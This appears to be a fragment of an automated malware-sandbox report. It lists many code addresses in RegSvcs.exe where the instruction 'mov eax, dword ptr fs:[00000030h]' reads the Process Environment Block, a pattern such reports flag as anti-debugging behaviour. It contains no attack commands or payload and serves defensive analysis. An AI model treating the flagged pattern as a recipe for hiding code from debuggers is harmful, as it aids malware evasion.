Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01568243 mov ecx, dword ptr fs:[00000030h]	9_2_01568243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6259 mov eax, dword ptr fs:[00000030h]	9_2_014E6259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DA250 mov eax, dword ptr fs:[00000030h]	9_2_014DA250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D826B mov eax, dword ptr fs:[00000030h]	9_2_014D826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01590274 mov eax, dword ptr fs:[00000030h]	9_2_01590274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E4260 mov eax, dword ptr fs:[00000030h]	9_2_014E4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E4260 mov eax, dword ptr fs:[00000030h]	9_2_014E4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E4260 mov eax, dword ptr fs:[00000030h]	9_2_014E4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D823B mov eax, dword ptr fs:[00000030h]	9_2_014D823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA2C3 mov eax, dword ptr fs:[00000030h]	9_2_014EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA2C3 mov eax, dword ptr fs:[00000030h]	9_2_014EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA2C3 mov eax, dword ptr fs:[00000030h]	9_2_014EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA2C3 mov eax, dword ptr fs:[00000030h]	9_2_014EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA2C3 mov eax, dword ptr fs:[00000030h]	9_2_014EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F02E1 mov eax, dword ptr fs:[00000030h]	9_2_014F02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F02E1 mov eax, dword ptr fs:[00000030h]	9_2_014F02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F02E1 mov eax, dword ptr fs:[00000030h]	9_2_014F02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01560283 mov eax, dword ptr fs:[00000030h]	9_2_01560283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01560283 mov eax, dword ptr fs:[00000030h]	9_2_01560283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01560283 mov eax, dword ptr fs:[00000030h]	9_2_01560283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E284 mov eax, dword ptr fs:[00000030h]	9_2_0151E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E284 mov eax, dword ptr fs:[00000030h]	9_2_0151E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F02A0 mov eax, dword ptr fs:[00000030h]	9_2_014F02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F02A0 mov eax, dword ptr fs:[00000030h]	9_2_014F02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015762A0 mov eax, dword ptr fs:[00000030h]	9_2_015762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015762A0 mov ecx, dword ptr fs:[00000030h]	9_2_015762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015762A0 mov eax, dword ptr fs:[00000030h]	9_2_015762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015762A0 mov eax, dword ptr fs:[00000030h]	9_2_015762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015762A0 mov eax, dword ptr fs:[00000030h]	9_2_015762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015762A0 mov eax, dword ptr fs:[00000030h]	9_2_015762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8550 mov eax, dword ptr fs:[00000030h]	9_2_014E8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8550 mov eax, dword ptr fs:[00000030h]	9_2_014E8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151656A mov eax, dword ptr fs:[00000030h]	9_2_0151656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151656A mov eax, dword ptr fs:[00000030h]	9_2_0151656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151656A mov eax, dword ptr fs:[00000030h]	9_2_0151656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01576500 mov eax, dword ptr fs:[00000030h]	9_2_01576500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B4500 mov eax, dword ptr fs:[00000030h]	9_2_015B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B4500 mov eax, dword ptr fs:[00000030h]	9_2_015B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B4500 mov eax, dword ptr fs:[00000030h]	9_2_015B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B4500 mov eax, dword ptr fs:[00000030h]	9_2_015B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B4500 mov eax, dword ptr fs:[00000030h]	9_2_015B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B4500 mov eax, dword ptr fs:[00000030h]	9_2_015B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B4500 mov eax, dword ptr fs:[00000030h]	9_2_015B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E53E mov eax, dword ptr fs:[00000030h]	9_2_0150E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E53E mov eax, dword ptr fs:[00000030h]	9_2_0150E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E53E mov eax, dword ptr fs:[00000030h]	9_2_0150E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E53E mov eax, dword ptr fs:[00000030h]	9_2_0150E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E53E mov eax, dword ptr fs:[00000030h]	9_2_0150E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0535 mov eax, dword ptr fs:[00000030h]	9_2_014F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0535 mov eax, dword ptr fs:[00000030h]	9_2_014F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0535 mov eax, dword ptr fs:[00000030h]	9_2_014F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0535 mov eax, dword ptr fs:[00000030h]	9_2_014F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0535 mov eax, dword ptr fs:[00000030h]	9_2_014F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0535 mov eax, dword ptr fs:[00000030h]	9_2_014F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A5D0 mov eax, dword ptr fs:[00000030h]	9_2_0151A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A5D0 mov eax, dword ptr fs:[00000030h]	9_2_0151A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E5CF mov eax, dword ptr fs:[00000030h]	9_2_0151E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E5CF mov eax, dword ptr fs:[00000030h]	9_2_0151E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E65D0 mov eax, dword ptr fs:[00000030h]	9_2_014E65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E25E0 mov eax, dword ptr fs:[00000030h]	9_2_014E25E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0150E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0150E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0150E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0150E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0150E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0150E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0150E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E5E7 mov eax, dword ptr fs:[00000030h]	9_2_0150E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151C5ED mov eax, dword ptr fs:[00000030h]	9_2_0151C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151C5ED mov eax, dword ptr fs:[00000030h]	9_2_0151C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E2582 mov eax, dword ptr fs:[00000030h]	9_2_014E2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E2582 mov ecx, dword ptr fs:[00000030h]	9_2_014E2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E59C mov eax, dword ptr fs:[00000030h]	9_2_0151E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01514588 mov eax, dword ptr fs:[00000030h]	9_2_01514588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015045B1 mov eax, dword ptr fs:[00000030h]	9_2_015045B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015045B1 mov eax, dword ptr fs:[00000030h]	9_2_015045B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015605A7 mov eax, dword ptr fs:[00000030h]	9_2_015605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015605A7 mov eax, dword ptr fs:[00000030h]	9_2_015605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015605A7 mov eax, dword ptr fs:[00000030h]	9_2_015605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150245A mov eax, dword ptr fs:[00000030h]	9_2_0150245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159A456 mov eax, dword ptr fs:[00000030h]	9_2_0159A456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D645D mov eax, dword ptr fs:[00000030h]	9_2_014D645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E443 mov eax, dword ptr fs:[00000030h]	9_2_0151E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E443 mov eax, dword ptr fs:[00000030h]	9_2_0151E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E443 mov eax, dword ptr fs:[00000030h]	9_2_0151E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E443 mov eax, dword ptr fs:[00000030h]	9_2_0151E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E443 mov eax, dword ptr fs:[00000030h]	9_2_0151E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E443 mov eax, dword ptr fs:[00000030h]	9_2_0151E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E443 mov eax, dword ptr fs:[00000030h]	9_2_0151E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151E443 mov eax, dword ptr fs:[00000030h]	9_2_0151E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150A470 mov eax, dword ptr fs:[00000030h]	9_2_0150A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150A470 mov eax, dword ptr fs:[00000030h]	9_2_0150A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150A470 mov eax, dword ptr fs:[00000030h]	9_2_0150A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156C460 mov ecx, dword ptr fs:[00000030h]	9_2_0156C460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01518402 mov eax, dword ptr fs:[00000030h]	9_2_01518402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01518402 mov eax, dword ptr fs:[00000030h]	9_2_01518402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01518402 mov eax, dword ptr fs:[00000030h]	9_2_01518402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A430 mov eax, dword ptr fs:[00000030h]	9_2_0151A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DC427 mov eax, dword ptr fs:[00000030h]	9_2_014DC427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DE420 mov eax, dword ptr fs:[00000030h]	9_2_014DE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DE420 mov eax, dword ptr fs:[00000030h]	9_2_014DE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DE420 mov eax, dword ptr fs:[00000030h]	9_2_014DE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01566420 mov eax, dword ptr fs:[00000030h]	9_2_01566420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01566420 mov eax, dword ptr fs:[00000030h]	9_2_01566420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01566420 mov eax, dword ptr fs:[00000030h]	9_2_01566420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01566420 mov eax, dword ptr fs:[00000030h]	9_2_01566420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01566420 mov eax, dword ptr fs:[00000030h]	9_2_01566420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01566420 mov eax, dword ptr fs:[00000030h]	9_2_01566420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01566420 mov eax, dword ptr fs:[00000030h]	9_2_01566420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E04E5 mov ecx, dword ptr fs:[00000030h]	9_2_014E04E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0159A49A mov eax, dword ptr fs:[00000030h]	9_2_0159A49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015144B0 mov ecx, dword ptr fs:[00000030h]	9_2_015144B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E64AB mov eax, dword ptr fs:[00000030h]	9_2_014E64AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156A4B0 mov eax, dword ptr fs:[00000030h]	9_2_0156A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522750 mov eax, dword ptr fs:[00000030h]	9_2_01522750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522750 mov eax, dword ptr fs:[00000030h]	9_2_01522750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01564755 mov eax, dword ptr fs:[00000030h]	9_2_01564755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156E75D mov eax, dword ptr fs:[00000030h]	9_2_0156E75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151674D mov esi, dword ptr fs:[00000030h]	9_2_0151674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151674D mov eax, dword ptr fs:[00000030h]	9_2_0151674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151674D mov eax, dword ptr fs:[00000030h]	9_2_0151674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0750 mov eax, dword ptr fs:[00000030h]	9_2_014E0750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8770 mov eax, dword ptr fs:[00000030h]	9_2_014E8770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0770 mov eax, dword ptr fs:[00000030h]	9_2_014F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01510710 mov eax, dword ptr fs:[00000030h]	9_2_01510710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151C700 mov eax, dword ptr fs:[00000030h]	9_2_0151C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0710 mov eax, dword ptr fs:[00000030h]	9_2_014E0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155C730 mov eax, dword ptr fs:[00000030h]	9_2_0155C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151273C mov eax, dword ptr fs:[00000030h]	9_2_0151273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151273C mov ecx, dword ptr fs:[00000030h]	9_2_0151273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151273C mov eax, dword ptr fs:[00000030h]	9_2_0151273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151C720 mov eax, dword ptr fs:[00000030h]	9_2_0151C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151C720 mov eax, dword ptr fs:[00000030h]	9_2_0151C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EC7C0 mov eax, dword ptr fs:[00000030h]	9_2_014EC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015607C3 mov eax, dword ptr fs:[00000030h]	9_2_015607C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E47FB mov eax, dword ptr fs:[00000030h]	9_2_014E47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E47FB mov eax, dword ptr fs:[00000030h]	9_2_014E47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156E7E1 mov eax, dword ptr fs:[00000030h]	9_2_0156E7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015027ED mov eax, dword ptr fs:[00000030h]	9_2_015027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015027ED mov eax, dword ptr fs:[00000030h]	9_2_015027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015027ED mov eax, dword ptr fs:[00000030h]	9_2_015027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158678E mov eax, dword ptr fs:[00000030h]	9_2_0158678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E07AF mov eax, dword ptr fs:[00000030h]	9_2_014E07AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015947A0 mov eax, dword ptr fs:[00000030h]	9_2_015947A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FC640 mov eax, dword ptr fs:[00000030h]	9_2_014FC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01512674 mov eax, dword ptr fs:[00000030h]	9_2_01512674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A660 mov eax, dword ptr fs:[00000030h]	9_2_0151A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A660 mov eax, dword ptr fs:[00000030h]	9_2_0151A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A866E mov eax, dword ptr fs:[00000030h]	9_2_015A866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A866E mov eax, dword ptr fs:[00000030h]	9_2_015A866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F260B mov eax, dword ptr fs:[00000030h]	9_2_014F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F260B mov eax, dword ptr fs:[00000030h]	9_2_014F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F260B mov eax, dword ptr fs:[00000030h]	9_2_014F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F260B mov eax, dword ptr fs:[00000030h]	9_2_014F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F260B mov eax, dword ptr fs:[00000030h]	9_2_014F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F260B mov eax, dword ptr fs:[00000030h]	9_2_014F260B
